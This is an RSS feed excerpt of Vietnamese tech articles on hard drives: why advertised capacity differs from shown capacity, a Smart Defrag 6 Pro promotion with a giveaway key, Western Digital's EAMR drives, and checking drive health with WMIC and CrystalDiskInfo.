<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2021/11/Windows-10-Disk-Management-670x405-1.jpg" alt="Tại sao ổ cứng 1TB nhưng hiển thị chỉ có 931GB 45" width="503" height="304" title="Tại sao ổ cứng 1TB nhưng hiển thị chỉ có 931GB 69"></p>
<p>Trong hầu hết các trường hợp, bạn có thể xóa các phân vùng này và lấy lại không gian đó. Tuy nhiên, tốt nhất là bạn đừng nên làm như vậy. Chúng giúp khôi phục hệ thống của bạn dễ dàng hơn rất nhiều và việc thu hồi một chút dung lượng nhỏ không đáng để bạn gặp rắc rối khi khôi phục hệ thống của bạn theo cách thủ công.</p>
<h2>Các tính năng ẩn cũng sử dụng không gian ổ cứng</h2>
<p>Cuối cùng, hầu hết các hệ điều hành đều chứa các tính năng chiếm dung lượng nhưng không tồn tại dưới dạng tệp thực tế. Ví dụ: dịch vụ Shadow Copy của Windows được sử dụng để cung cấp tài nguyên cho Previous Versions và chức năng System Restore.</p>
<p>System Restore cho phép bạn quay lại thời điểm trước đó nếu hệ thống của bạn không hoạt động bình thường, trong khi Previous Versions giữ bản sao của các tệp cá nhân của bạn để bạn có thể hoàn tác các thay đổi. Tất nhiên, cả hai đều cần không gian để hoạt động.</p>
<p>Để xem và thay đổi mức độ sử dụng không gian ổ cứng của các tính năng Shadow Copy, hãy nhấn Win + Pause để mở nhanh menu <strong>About</strong> trong ứng dụng Settings. Từ đây, nhấp vào <strong>System protection</strong> ở phía bên phải. Trong cửa sổ hiện ra, chọn ổ đĩa của bạn từ danh sách và chọn <strong>Configure.</strong></p>
<p>Bạn sẽ thấy một hộp thoại mới cho phép bạn tắt hoàn toàn tính năng bsystem protection (mặc dù mình không khuyến khích điều này). Bên dưới, bạn sẽ thấy mức sử dụng hiện tại và có thể điều chỉnh số lượng tối đa mà Windows sử dụng. Ở đâu đó khoảng 10 phần trăm là đẹp rồi.</p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2021/11/system-protection-disk-allocation-system-restore-points.jpg" alt="Tại sao ổ cứng 1TB nhưng hiển thị chỉ có 931GB 46" width="675" height="396" title="Tại sao ổ cứng 1TB nhưng hiển thị chỉ có 931GB 70"></p>
<h2>Bây giờ bạn đã biết cách máy tính tính toán không gian ổ cứng</h2>
<p>Các yếu tố được thảo luận ở đây giải thích sự khác biệt về không gian lưu trữ được quảng cáo và thực tế trên điện thoại, ổ đĩa hoặc các thiết bị lưu trữ khác. Ngoài ra, bạn <a href="https://anonyviet.com/lenh-tren-windows-10-khien-o-cung-bi-hong/">không nên sử dụng những lệnh trong bài viết này vì nó có thể làm hỏng ổ cứng</a>.</p>
<h2>Câu hỏi thường gặp</h2>
<h3>Tại sao ổ cứng 1TB của tôi chỉ hiển thị khoảng 931GB?</h3>
<p>Sự khác biệt giữa dung lượng được quảng cáo (1TB) và dung lượng hiển thị (khoảng 931GB) là do sự khác nhau giữa cách con người và máy tính tính toán dung lượng lưu trữ. Con người sử dụng hệ thập phân (cơ số 10), trong khi máy tính sử dụng hệ nhị phân (cơ số 2).  1GB cho máy tính thực tế là 1,024 MB (không phải 1,000 MB), dẫn đến sự chênh lệch này.</p>
<h3>Ngoài sự khác biệt về đơn vị tính toán, còn lý do nào khác khiến dung lượng ổ cứng thấp hơn quảng cáo không?</h3>
<p>Có, hệ điều hành, các ứng dụng được cài đặt sẵn và các phân vùng ẩn (như phân vùng phục hồi) cũng chiếm một phần dung lượng đáng kể trên ổ cứng.  Dung lượng này không được tính toán vào dung lượng khả dụng cho người dùng.</p>
<h3>Tôi có thể lấy lại dung lượng đã mất không?</h3>
<p>Bạn có thể xóa các ứng dụng không cần thiết và các tệp không dùng đến để giải phóng thêm dung lượng. Tuy nhiên, dung lượng bị mất do sự khác biệt trong hệ thống tính toán dung lượng là không thể lấy lại.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://anonyviet.com/tai-sao-o-cung-1tb-nhung-hien-thi-chi-co-931gb/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title> Download Smart Defrag 6 Pro Full License Key &#8211; Chống phân mảnh ổ đĩa</title>
		<link>https://anonyviet.com/download-smart-defrag-6-pro-full-license-key-chong-phan-manh-o-dia/</link>
					<comments>https://anonyviet.com/download-smart-defrag-6-pro-full-license-key-chong-phan-manh-o-dia/#comments</comments>
		
		<dc:creator><![CDATA[AnonyViet]]></dc:creator>
		<pubDate>Mon, 19 Apr 2021 12:00:16 +0000</pubDate>
				<category><![CDATA[Phần mềm máy tính]]></category>
		<category><![CDATA[hdd]]></category>
		<category><![CDATA[iobit]]></category>
		<category><![CDATA[Smart Defrag]]></category>
		<category><![CDATA[Smart Defrag 6]]></category>
		<category><![CDATA[ssd]]></category>
		<category><![CDATA[tăng tốc máy tính]]></category>
		<category><![CDATA[tối ưu hóa]]></category>
		<guid isPermaLink="false">https://anonyviet.com/?p=18862</guid>

					<description><![CDATA[Smart Defrag 6 là trình tối ưu hóa ổ cứng giúp tăng tốc độ đọc ghi. Phần mềm giúp chống phân mảnh ổ đĩa, giúp đĩa cứng hoạt động ổn định. Đặc biệt Smart Defrag 6 dễ sử dụng được thiết kế cho hiệu năng ổ cứng cao nhất. Không giống như các trình chống [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><strong>Smart Defrag 6 là trình tối ưu hóa ổ cứng giúp tăng tốc độ đọc ghi. Phần mềm giúp chống phân mảnh ổ đĩa, giúp đĩa cứng hoạt động ổn định. Đặc biệt Smart Defrag 6 dễ sử dụng được thiết kế cho hiệu năng ổ cứng cao nhất. Không giống như các trình chống phân mảnh đĩa truyền thống khác chỉ cung cấp chống phân mảnh, Smart Defrag 6 cũng sắp xếp hợp lý các tệp của bạn một cách thông minh dựa trên việc sử dụng tần số để tăng tốc truy cập dữ liệu đĩa.</strong></p>
<p>Với công cụ chống phân mảnh đĩa IObit được cải tiến, Smart Defrag 6 không chỉ chống phân mảnh ổ cứng của bạn mà còn cắt SSD của bạn để tăng tốc độ truy cập đĩa và tăng cường độ bền của đĩa. Và Smart Defrag 6 đặc biệt tối ưu hóa thuật toán tổ chức tệp trên Windows 10. Để làm cho nó mạnh mẽ hơn, Smart Defrag 6 cũng cung cấp một số tính năng hữu ích khác. Boot Time Defrag có thể chống phân mảnh Windows registry để giải phóng RAM chiếm dụng nhiều hơn và đảm bảo sự ổn định của hệ thống trong khi bạn có thể tùy chỉnh Boot Time Defrag theo nhu cầu của bạn.</p>
<p><a href="https://anonyviet.com/wp-content/uploads/2020/03/6.defrag-optimize-completed.png"><img decoding="async" class="aligncenter size-full " src="https://anonyviet.com/wp-content/uploads/2020/03/6.defrag-optimize-completed.png" alt=" Download Smart Defrag 6 Pro Full License Key - Chống phân mảnh ổ đĩa 48" width="675" height="450" title=" Download Smart Defrag 6 Pro Full License Key - Chống phân mảnh ổ đĩa 73"></a></p>
<p>Trong khi đó, Tự động phân mảnh và Chống phân mảnh theo lịch trình đảm bảo các đĩa của bạn luôn được tối ưu hóa với hiệu suất cao nhất của chúng. Hơn nữa, Game Optimize được thiết kế để mang đến cho game thủ trải nghiệm chơi game cực kỳ mượt mà. Cuối cùng nhưng không kém phần quan trọng, Disk Health có thể giúp bạn theo dõi tình trạng đĩa của mình trong thời gian thực.</p>
<h2><strong>Các tính năng mới của Smart Defrag 6 Pro:</strong></h2>
<p>+ Tương thích hoàn hảo với phiên bản Windows 10.</p>
<p>+ Công cụ chống phân mảnh được cải tiến để chống phân mảnh cực nhanh.</p>
<p>+ Cải tiến thuật toán để tổ chức các tệp để truy cập nhanh hơn.</p>
<p>+ Mở rộng cơ sở dữ liệu Dọn đĩa để giải phóng thêm dung lượng đĩa.</p>
<p>+ Tối ưu hóa quá trình hoạt động cho trải nghiệm người dùng tốt hơn.</p>
<p>+ Tăng đáng kể tỷ lệ gửi phản hồi.</p>
<p>+ Bắt đầu một vòng rút thăm may mắn mới.</p>
<p>+ Quá trình cài đặt thân thiện với người dùng hơn.</p>
<p>+ Giao diện mới có thể đọc và giao diện trực quan hơn.</p>
<p>+ Hỗ trợ 40 ngôn ngữ.</p>
<p>* Và nhiều hơn nữa có thể được phát hiện bởi bạn.</p>
<p><a href="https://anonyviet.com/wp-content/uploads/2020/03/7.boot-time-defrag.png"><img decoding="async" class="aligncenter  size-full" src="https://anonyviet.com/wp-content/uploads/2020/03/7.boot-time-defrag.png" alt="Share Key Smart Defrag 6" width="675" height="450" title=" Download Smart Defrag 6 Pro Full License Key - Chống phân mảnh ổ đĩa 74"></a></p>
<h2><strong>Các tính năng mới của Smart Defrag 6:</strong></h2>
<p>Ngoài tính năng chống phân mảnh ổ đĩa, <strong>Smart Defrag 6 Pro Full</strong> còn giúp tăng tốc chơi game, tăng hiệu năng máy tính. Chỉ với vài click chuột, Windows của bạn sẽ hoạt động nhanh hơn bình thường rất nhiều. Hãng IOBIT đang tặng key kích hoạt Smart Defrag 6 Pro cho thành viên AnonyViet. Bạn có thể tải về và kích hoạt:</p>
<ul>
<li>Product Name: Smart Defrag</li>
<li>Version: 6.0.1.116</li>
<li>Author: IObit</li>
<li>Release Date: 2018-07-13</li>
<li>File Size: 13.0MB</li>
<li>License Type: Freeware</li>
<li>Requires: Win10/Win8/Win7/Vista/XP</li>
<li>Download URL: <a href="https://www.iobit.com/en/iobitsmartdefrag.php?utm_source=enmedia&amp;utm_medium=enreview&amp;utm_campaign=sdanonyviet01" target="_blank" rel="noopener">Smart Defrag 6.4 Pro</a></li>
<li>Key 1: 37D2F-CE547-CB963-ECBB6</li>
</ul>
<h2>Câu hỏi thường gặp</h2>
<h3>Smart Defrag 6 có hỗ trợ hệ điều hành nào?</h3>
<p>Smart Defrag 6 hỗ trợ Windows 10, Windows 8, Windows 7, Vista và XP.</p>
<h3>Smart Defrag 6 khác gì so với các phần mềm chống phân mảnh truyền thống?</h3>
<p>Ngoài chức năng chống phân mảnh, Smart Defrag 6 còn sắp xếp tệp thông minh dựa trên tần suất sử dụng, tối ưu hóa cho SSD và tích hợp các tính năng như Boot Time Defrag và Game Optimize để tăng hiệu suất hệ thống và trải nghiệm chơi game.</p>
<h3>Tôi có thể sử dụng Smart Defrag 6 để làm gì?</h3>
<p>Smart Defrag 6 giúp tăng tốc độ đọc ghi dữ liệu, chống phân mảnh ổ cứng và SSD, tối ưu hóa hệ thống cho hiệu năng cao hơn, và cải thiện trải nghiệm chơi game.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://anonyviet.com/download-smart-defrag-6-pro-full-license-key-chong-phan-manh-o-dia/feed/</wfw:commentRss>
			<slash:comments>4</slash:comments>
		
		
			</item>
		<item>
		<title>Ổ cứng EAMR là gì và nó hoạt động như thế nào?</title>
		<link>https://anonyviet.com/o-cung-eamr-la-gi-va-no-hoat-dong-nhu-the-nao/</link>
					<comments>https://anonyviet.com/o-cung-eamr-la-gi-va-no-hoat-dong-nhu-the-nao/#respond</comments>
		
		<dc:creator><![CDATA[Ellyx13]]></dc:creator>
		<pubDate>Fri, 07 Aug 2020 06:08:19 +0000</pubDate>
				<category><![CDATA[Mẹo Vặt Máy Tính]]></category>
		<category><![CDATA[EAMR]]></category>
		<category><![CDATA[hdd]]></category>
		<category><![CDATA[ổ cứng]]></category>
		<category><![CDATA[ổ đĩa]]></category>
		<category><![CDATA[ssd]]></category>
		<guid isPermaLink="false">https://anonyviet.com/?p=21065</guid>

					<description><![CDATA[Ổ cứng đĩa cứng cũng giống như máy in vậy: công nghệ này quá cũ và đều được hiểu rõ, nên thực sự chẳng có gì mới xảy ra cả. Bên cạnh đó, không phải chúng ta đều hiểu về NVMe và SATA SSD ngày nay. Càng chưa kể WD vừa cho ra mắt ổ [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><strong>Ổ cứng đĩa cứng cũng giống như máy in vậy: công nghệ này quá cũ và đều được hiểu rõ, nên thực sự chẳng có gì mới xảy ra cả. Bên cạnh đó, không phải chúng ta đều hiểu về NVMe và SATA SSD ngày nay. Càng chưa kể WD vừa cho ra mắt ổ cứng EAMR.</strong></p>
<p><a href="https://anonyviet.com/wp-content/uploads/2020/08/o-cung-EAMR.jpg"><img decoding="async" class="aligncenter  size-full" src="https://anonyviet.com/wp-content/uploads/2020/08/o-cung-EAMR.jpg" alt="Ổ cứng EAMR là gì" width="678" height="339" title="Ổ cứng EAMR là gì và nó hoạt động như thế nào? 79"></a></p>
<h2>Ổ cứng EAMR đều dành cho các doanh nghiệp lớn</h2>
<p>Mặc dù người tiêu dùng đều đã dần quên ổ cứng cơ học, nhưng các trung tâm dữ liệu vẫn đang tìm kiếm các ổ đĩa cứng có dung lượng cao hơn. Đó là lý do tại sao Western Digital (WD) đã phát triển các ổ đĩa mới dành cho doanh nghiệp, thứ đang được phát triển được WD gọi là &#8220;ePMR&#8221; (energy-assisted perpendicular magnetic recording).</p>
<p>Vào tháng 7 năm 2020, Western Digital đã công bố các ổ đĩa mới của mình, bao gồm các ổ đĩa Gold Enterprise 16 và 18 TB, và một ổ EAMR Ultrastar với dung lượng khổng lồ 20 TB sắp ra mắt.</p>
<p>Đó là lượng dung lượng cực kì lớn được gói gọn trong một ổ đĩa cũng chẳng kém phần lôi cuốn. Thật không may, bạn không thể đặt con quái vật 3,5 inch này vào dàn máy của mình trong thời điểm hiện tại. Bời vì lúc này, những con quá vật này thuộc về các doanh nghiệp lớn.</p>
<p>Tuy nhiên, đối với những người đam mê công nghệ mới, ePMR thực sự đáng chú ý.</p>
<h2>Các nhà sản xuất ổ cứng đang theo đuổi điều gì?</h2>
<p>Mỗi thành phần trong máy tính đều được các kỹ sư muốn cải thiện. Khi nói đến CPU, họ thường muốn thu nhỏ kích thước và tăng xung nhịp lên. Tuy nhiên, khi nói đến ổ cứng, thì trọng tâm vẫn là nhét nhiều bit dữ liệu hơn và cùng một kích thước đĩa.</p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2020/08/23.jpg" alt="Ổ cứng EAMR là gì và nó hoạt động như thế nào? 52" title="Ổ cứng EAMR là gì và nó hoạt động như thế nào? 80"></p>
<p>Ổ đĩa cứng bao gồm một số thành phần, nhưng có hai thứ quan trọng nhất là đĩa chứa dữ liệu, và đầu đọc/ghi dữ liệu.</p>
<p>Ổ cứng lưu dữ liệu bằng cách sử dụng hệ nhị phân. Đầu ghi dữ liệu sẽ di chuyển trên đãi quay và sử dụng từ trường để ghi dữ liệu theo mẫu tương ứng với số 0 và 1.</p>
<p>Mọi người thường so sánh ổ cứng với máy ghi hình vinyl. Bản ghi chứa âm thanh và được một cây kim đi tới cái điểm cụ thể để lấy dữ liệu. Trên LP, bạn thực sự có thể đếm các rãnh trên vinyl để thả kim vào đúng rãnh (mấy cái máy phát nhạc dùng đĩa hồi xưa ấy). Dữ liệu trên ổ cứng quá nhỏ, nên bạn không thể di chuyển thủ công đầu đọc đến một vị trí nhất định, do đó bạn phải cần máy tính thực hiện.</p>
<p>Tuy nhiên, không giống như LP, đầu đọc không chỉ đọc dữ liệu mà còn có thể ghi dữ liệu. Vấn đề là hoạt động ghi trên các ổ đĩa không phải EAMR đều không chính xác. Điều này có nghĩa là các bit dữ liệu không thể được sắp xếp chặt chẽ với nhau.</p>
<p>Vậy nên, EAMR xuất hiện nhằm mục đích giải quyết điều này bằng cách cho phép ghi các bit gần hơn vào ổ đĩa (nói cách khác là ghi các bit liên quan gần nhau hơn). Các ổ WD áp một dòng điện vào đầu ghi trong khi nó vẫn đang hoạt động. Điều này tạo ra thêm một từ trường, giúp tạo ra tín hiệu ghi phù hợp hơn. Cũng có nghĩa là dữ liệu có thể được ghi vào ổ đĩa chính xác hơn.</p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2020/08/24.png" alt="Ổ cứng EAMR là gì và nó hoạt động như thế nào? 53" title="Ổ cứng EAMR là gì và nó hoạt động như thế nào? 81"></p>
<p>Khi dữ liệu được ghi vào ổ đĩa chính xác hơn, nó có thể đóng gói nhiều bit hơn trên mỗi inch (BPI) trong cùng một bề mặt. Đây là lý do tại sao EAMR là một bước tiến lớn đối với các ổ cứng: hoạt động ghi chính xác hơn đồng nghĩa với việc có thể ghi nhiều dữ liệu hơn trên đĩa, làm tăng mật độ diện tích của nó.</p>
<p>Tuy nhiên, EAMR không phải là một tiến bộ độc lập, nó chỉ là một trong những tính năng hoạt động cùng nhau để giúp tăng dung lượng ổ cứng. Một tiến bộ lớn khác trên các ổ đĩa WD Gold mới là bộ truyền động ba trạng thái (TSA). Giải pháp cơ học này chính xác hơn đầu đọc/ghi trên đĩa.</p>
<p>Trong những năm qua, các nhà sản xuất ổ đĩa đã có những tiến bộ khác để làm tăng hiệu suất của ổ đĩa. Tại một thời điểm nào đó, họ sẽ chế tạo ra các đĩa mỏng hơn để nhét thêm đĩa vào ổ đĩa cùng kích cỡ.</p>
<p>Khi điều đó đã phát triển hết mức có thể, các công ty như WD sẽ đưa nó lên một tầm cao mới bằng cách tạo ra chỗ chứa đầy khí heli cho các đĩa. Điều này làm giảm ma sát và nhiệt độ bên trong ổ đĩa, làm cho ổ đĩa tiết kiệm năng lượng hơn.</p>
<p>Tất cả điều này sẽ giúp bạn đặt nhiều đĩa hơn vào cùng một ổ đĩa. WD cũng đã cải thiện quy trình này, từ 7 đĩa vào năm 2013 lên 9 đĩa ở hiện tại.</p>
<p>Mặc dù đó là một bước tiến quan trọng, nhưng EAMR vẫn hoạt động cùng với các công nghệ khác để làm tăng dung lượng các ổ đĩa lên.</p>
<h2>Chỉ dành cho doanh nghiệp (ở hiện tại)</h2>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2020/08/25.jpg" alt="Ổ cứng EAMR là gì và nó hoạt động như thế nào? 54" title="Ổ cứng EAMR là gì và nó hoạt động như thế nào? 82"></p>
<p>Mặc dù các ổ đĩa cứng có dung lượng lớn là một triển vọng đầy hấp dẫn cho các máy tính cá nhân, nhưng vẫn chưa đến lượng chúng ta sử dụng đâu. Mặc dù điều này có thể thay đổi trong một vài năm nữa. Các ổ đĩa chứa đầy khí heli ban đầu cũng là một tính năng dành riêng cho doanh nghiệp, nhưng chúng đã đến tay những người tiêu dùng trong khoảng ba năm sau đó. Bạn có thể tìm thấy chúng trong các ổ đĩa có dung lượng 12 TB trở lên, như một số ổ cứng gắn ngoài của WD chẳng hạn.</p>
<p>Đây là câu trả lời của WD khi nhận được câu hỏi về triển vọng của EAMR và TSA ở cấp độ người tiêu dùng:</p>
<p>&#8220;Mặc dù chúng tôi không chia sẻ các kế hoạh và lộ trình trong tương lai, nhưng chúng tôi luôn lắng nghe nhu cầu của khách hàng và nhận ra rằng các yêu cầu lưu trữ liệu đang gia tăng trên nhiều phân khúc thị trường, bao gồm cả người tiêu dùng.&#8221;</p>
<p>Không cần ổ chứng NAS, máy tính để bàn đã có được dung lượng khá tốt rồi. Chỉ vài năm trước, ổ đĩa 1 hoặc 2 TB là một vấn đến lớn, nhưng bây giờ, bạn lại có thể mua ổ đĩa 6 hoặc 8 TB dễ dàng. Mang suy nghĩ đó sang nhiều ổ NVMe và SSD, bạn cũng có thể mua khá nhiều ổ cứng đấy.</p>
<p>Tuy nhiên, khái nhiệm 16 TB trở lên trên một ổ đĩa là một ý tưởng hấp dẫn. Dường như bất chấp hiệu năng đáng kinh ngạc của SSD NVMe và SATA, tương lai của ổ cứng cơ vẫn còn rộng mở.</p>
<p>Nếu bạn đang quan tâm sức khoẻ của ổ cứng, bạn có thể tìm hiểu thêm bài viết <a href="https://anonyviet.com/huong-dan-kiem-tra-suc-khoe-o-cung-tren-may-tinh/">Hướng dẫn kiểm tra sức khỏe ổ cứng trên máy tính của bạn</a>.</p>
<h2>Câu hỏi thường gặp</h2>
<h3>Ổ cứng EAMR là gì?</h3>
<p>EAMR (energy-assisted perpendicular magnetic recording) là một công nghệ ghi dữ liệu trên ổ cứng cho phép ghi các bit dữ liệu gần nhau hơn, nhờ đó tăng mật độ lưu trữ và dung lượng ổ đĩa.  Nó hoạt động bằng cách áp dụng một dòng điện vào đầu ghi, tạo ra từ trường mạnh hơn giúp ghi dữ liệu chính xác hơn.</p>
<h3>Công nghệ EAMR có sẵn cho người dùng cá nhân không?</h3>
<p>Hiện tại, công nghệ EAMR chủ yếu được sử dụng trong các ổ cứng dành cho doanh nghiệp với dung lượng lớn (16TB trở lên).  Tuy nhiên, Western Digital cho biết họ luôn lắng nghe nhu cầu khách hàng và khả năng EAMR sẽ có mặt trên thị trường người tiêu dùng trong tương lai là hoàn toàn có thể.</p>
<h3>So với các loại ổ cứng khác, EAMR có ưu điểm gì nổi bật?</h3>
<p>Ưu điểm chính của EAMR là khả năng tăng đáng kể dung lượng lưu trữ trên cùng một kích thước vật lý của ổ cứng, nhờ vào việc ghi dữ liệu chính xác và mật độ cao hơn.  Điều này giúp giải quyết bài toán lưu trữ dữ liệu ngày càng tăng cho các trung tâm dữ liệu lớn.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://anonyviet.com/o-cung-eamr-la-gi-va-no-hoat-dong-nhu-the-nao/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Hướng dẫn kiểm tra sức khỏe ổ cứng trên máy tính của bạn</title>
		<link>https://anonyviet.com/huong-dan-kiem-tra-suc-khoe-o-cung-tren-may-tinh/</link>
					<comments>https://anonyviet.com/huong-dan-kiem-tra-suc-khoe-o-cung-tren-may-tinh/#respond</comments>
		
		<dc:creator><![CDATA[AnonyViet]]></dc:creator>
		<pubDate>Sun, 02 Aug 2020 13:21:33 +0000</pubDate>
				<category><![CDATA[Mẹo Vặt Máy Tính]]></category>
		<category><![CDATA[hdd]]></category>
		<category><![CDATA[kiểm tra ổ cứng]]></category>
		<category><![CDATA[ổ cứng]]></category>
		<category><![CDATA[phần cứng]]></category>
		<category><![CDATA[ssd]]></category>
		<category><![CDATA[tuổi thọ ổ cứng]]></category>
		<guid isPermaLink="false">https://anonyviet.com/?p=20946</guid>

					<description><![CDATA[Ổ cứng được xem là bộ não của máy tính vì đây là nơi lưu trữ dữ liệu của bạn. Các phần cứng khác bị hư hỏng có thể thay thế được, nhưng dữ liệu trong ổ cứng mà bị mất thì sẽ khiến nhiều người đau đầu. Do đó thường xuyên kiểm tra sức [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><strong>Ổ cứng được xem là bộ não của máy tính vì đây là nơi lưu trữ dữ liệu của bạn. Các phần cứng khác bị hư hỏng có thể thay thế được, nhưng dữ liệu trong ổ cứng mà bị mất thì sẽ khiến nhiều người đau đầu. Do đó thường xuyên kiểm tra sức khỏe ổ cứng và tình trạng hoạt động đọc, ghi không bao giờ thừa.</strong></p>
<p>Trong tất cả các phần cứng máy tính, ít người để ý đến tình trạng sức khỏe ổ cứng. Tất cả chúng ta đều đã nghe những lời cảnh báo về việc chống phân mảnh ổ đĩa và dọn sạch các tệp rác để máy tính hoạt động nhanh hơn. Cho dù bạn bảo trì tốt đến đâu, tuy nhiên, đến một lúc nào đó, ổ đĩa sẽ bị hỏng. Đôi khi bạn có thể nghe thấy ổ cứng dừng hoạt động đột ngột khi đang làm đồ án hay các trường hợp Mainboard không nhận ra ổ cứng nửa.</p>
<p>Dù ổ cứng của bạn có kết thúc như thế nào thì chắc chắn bạn sẽ thấy điều đó xảy ra nếu bạn sử dụng máy tính thời gian dài. Ổ cứng là thiết bị nhỏ phức tạp. Các thành phần chính là các đĩa từ có chứa dữ liệu, cũng như đầu đọc và ghi dữ liệu.</p>
<p>Làm rơi máy tính xách tay hoặc di chuyển bất ngờ của case máy tính để bàn sẽ khiến ổ cứng có thể bị hỏng không thể khắc phục. Tuy nhiên, tầng suất và số giờ hoạt động của ổ cứng cũng quyết định tuổi thọ của chúng. Dưới đây là các phần mềm giúp bạn kiểm tra sức khỏe ổ cứng xem còn hoạt động tốt không? Và bạn sẽ quyết định thay ổ cứng mới hay tiếp tục sử dụng.</p>
<h2>Sử dụng WMIC trên Windows kiểm tra sức khỏe ổ cứng</h2>
<p>Công cụ đầu tiên để giữ các tab trên ổ cứng là tính năng Tự giám sát, Phân tích và Báo cáo, hoặc tính năng SMART. Hệ thống này được tích hợp vào hầu hết các ổ cứng và SSD hiện đại và được thiết kế để báo cáo khi ổ cứng của bạn bị lỗi hoặc gặp sự cố. Các nhà sản xuất ổ cứng có thể tự tiếp cận với SMART, nhưng họ thường đo các điểm hiệu suất tương tự như tốc độ đọc lỗi, sốc cơ học, nhiệt độ ổ cứng, tìm kiếm hiệu suất thời gian, v.v.</p>
<p>Hầu hết thời gian hệ thống SMART hoạt động ở chế độ nền, nhưng bạn có thể làm cho nó hiển thị một số cách.</p>
<p>Cách đơn giản nhất là sử dụng tiện ích dòng lệnh <strong>WMIC</strong> của Windows, viết tắt của <strong>Windows Management Instrumentation Command-line</strong>. Công cụ cơ bản này sẽ hiển thị kết quả kiểm tra sức khỏe ô cứng dựa trên số liệu thống kê SMART. Mở CMD của Windows và gõ lệnh : <code>wmic diskdrive get model,status</code>.</p>
<p>Trên màn hình sẽ hiển thị các ổ cứng được gắn trên máy tính và tình trạng sức khỏe.</p>
<p>Nếu thấy status <strong>OK</strong> bạn có thể yên tâm về ổ cứng của mình còn ổn định.<br />
<a href="https://anonyviet.com/wp-content/uploads/2020/08/wmic-drive-1.jpg"><img decoding="async" class="aligncenter  size-full" src="https://anonyviet.com/wp-content/uploads/2020/08/wmic-drive-1.jpg" alt="Get SMART kiểm tra sức khỏe ổ cứng trên máy tính" width="640" height="349" title="Hướng dẫn kiểm tra sức khỏe ổ cứng trên máy tính của bạn 87"></a></p>
<h2>CrystalDisk Info</h2>
<p>Nếu bạn muốn kiểm tra sức khỏe ổ cứng chi tiết hơn một chút thì một tùy chọn khác là sử dụng <strong>CrystalDisk Info</strong>. Đây là phần mềm miễn phí có thể hiển thị nhiều thông tin về ổ cứng của bạn, <strong>CrystalDisk Info</strong> là công cụ kiểm tra tốc độ đọc, ghi và sức khỏe toàn diện cho máy tính. Hẵn ai khi mua <strong>SSD</strong> về đều sử dụng công cụ này để kiểm tra chất lượng ổ cứng.</p>
<p><a href="https://anonyviet.com/wp-content/uploads/2020/08/crystaldiskinfo2020-07-100851678-orig-1-1.jpg"><img decoding="async" class="aligncenter  size-full" src="https://anonyviet.com/wp-content/uploads/2020/08/crystaldiskinfo2020-07-100851678-orig-1-1.jpg" alt="CrystalDisk Info" width="506" height="516" title="Hướng dẫn kiểm tra sức khỏe ổ cứng trên máy tính của bạn 88"></a></p>
<p>Khu vực trên cùng có lẽ là đủ thông tin cho hầu hết mọi người, CrystalDisk Info hiển thị trạng thái cho mỗi ổ đĩa bằng hệ thống mã màu: <span style="color: #0000ff;">Tốt (xanh dương)</span>, <span style="color: #ff6600;">Thận trọng (vàng)</span>, <span style="color: #ff0000;">Xấu (đỏ</span>) và<span style="color: #808080;"> Không xác định (xám)</span>. Hầu hết thời gian bạn sẽ chỉ thấy trạng thái Tốt, nhưng nếu bạn thấy một trong những trạng thái khác thì đã đến lúc nên thay ổ cứng nếu không muốn mất dữ liệu bất ngờ.</p>
<p>Nhưng đây là điều cần kiểm tra trạng thái SMART: Nó không đáng tin cậy 100%. Một nghiên cứu của Google được công bố vào năm 2007: Các tác giả nhận thấy rằng 36% các ổ đĩa bị hỏng vẫn được thông báo là SMART</p>
<p>Mọi thứ cũng không thay đổi nhiều. Vào năm 2016, Backblaze đã báo cáo rằng họ đã thấy 23,3% các ổ đĩa trung tâm dữ liệu của mình bị lỗi mà không báo cáo các vấn đề từ năm thuộc tính SMART.</p>
<p>Nói theo thống kê, phần lớn các đĩa đều báo cáo các vấn đề SMART trước khi bị lỗi; tuy nhiên, số liệu thống kê trở nên kém tin cậy hơn khi cố gắng dự đoán thời gian bị hỏng của một ổ đĩa. Nói cách khác, tính năng SMART của tool này không chính xác lắm.</p>
<p>SMART cũng là một phần của SSD, nhưng nó cũng có những hạn chế tương tự như HDD. Giải pháp tốt nhất hiện nay cho SSD là sử dụng các công cụ giám sát được cung cấp bởi nhà sản xuất ổ đĩa như: Storage Executive của Crucial, SSD Dashboard của WD hoặc Magician của Samsung (cho EVO 860 trở lên).</p>
<h2>Theo dõi từ bên ngoài</h2>
<p>Mặc dù<strong> SMART (Self-Monitoring, Analysis and Reporting Technology)</strong> là một công cụ hữu ích để kiểm tra sức khỏe ổ cứng của bạn, tuy nhiên bạn cũng nên theo dõi âm thanh phát ra từ ổ cứng. Ví dụ, nếu bạn bắt đầu nghe thấy tiếng ồn phát ra từ PC, thì đó rất có thể là ổ cứng. Có thể tuổi thọ ổ cứng đã gần hết, bạn nên thay ngay lặp tức.</p>
<p><a href="https://anonyviet.com/wp-content/uploads/2020/08/sua-loi-o-cung.jpg"><img decoding="async" class="aligncenter size-full " src="https://anonyviet.com/wp-content/uploads/2020/08/sua-loi-o-cung.jpg" alt="sửa lỗi ổ cứng" width="450" height="318" title="Hướng dẫn kiểm tra sức khỏe ổ cứng trên máy tính của bạn 89"></a></p>
<p>Ngay cả khi bạn không nghe thấy tiếng ồn vui nhộn, ổ đĩa của bạn có thể gây ra những điều kỳ lạ như sự cố thường xuyên, số lượng lớn hoặc thông báo lỗi, tên thư mục hoặc tệp có ký tự kỳ lạ, hiệu suất rất chậm hoặc tài liệu đột nhiên chứa đầy rác . Hầu hết các vấn đề này là một dấu hiệu khá rõ ràng, ổ đĩa của bạn tuổi thọ sắp kết thúc, nhưng không phải lúc nào cũng vậy.</p>
